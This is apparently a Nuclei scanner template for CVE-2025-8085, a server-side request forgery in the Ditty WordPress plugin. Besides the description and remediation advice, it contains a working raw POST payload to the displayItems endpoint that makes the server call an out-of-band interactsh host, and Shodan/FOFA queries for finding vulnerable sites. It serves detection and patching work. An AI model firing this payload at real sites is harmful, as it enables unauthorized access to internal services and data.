id: CVE-2025-8085

info:
  name: Ditty < 3.1.58 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.
  impact: |
    Unauthenticated attackers can force the server to make requests to arbitrary URLs through the displayItems endpoint, potentially accessing internal services and exposing sensitive data.
  remediation: |
    Upgrade Ditty WordPress plugin to version 3.1.58 or later that implements proper authorization checks on the displayItems endpoint.
  reference:
    - https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8085
    - https://research.cleantalk.org/cve-2025-8085/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"/wp-content/plugins/ditty-news-ticker/"
    fofa-query: body="/wp-content/plugins/ditty-news-ticker/"
    publicwww-query: "/wp-content/plugins/ditty-news-ticker/"
  tags: cve,cve2025,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,metaphorcreations,vuln,vkev

variables:
  marker_string: "{{rand_text_alpha(5)}}"
  marker_int: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        POST /wp-json/dittyeditor/v1/displayItems HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "apiData": {
            "layouts": [
              {
                "id": "{{marker_string}}",
                "html": "{image default_src=\"http://{{interactsh-url}}\"}",
                "css": "{{marker_string}}"
              }
            ],
            "items": [
              {
                "item_id": "{{marker_int}}",
                "item_type": "default",
                "item_value": { "content": "{{marker_string}}" },
                "layout_value": { "default": "{{marker_string}}" }
              }
            ]
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains_all(body, "{{marker_string}}", "{{marker_int}}")'
          - "status_code == 200"
        condition: and
# digest: 490a00463044022052caf6f82861cd0c1b68e9d23ca0cdf6b0e32b5866f7c50a615d2ab62ce7526c02201187b027b695e734c0d370abfdecbdabe0e29660ab8058f9a243c4e5246c021f:922c64590222798bb761d5b6d8e72950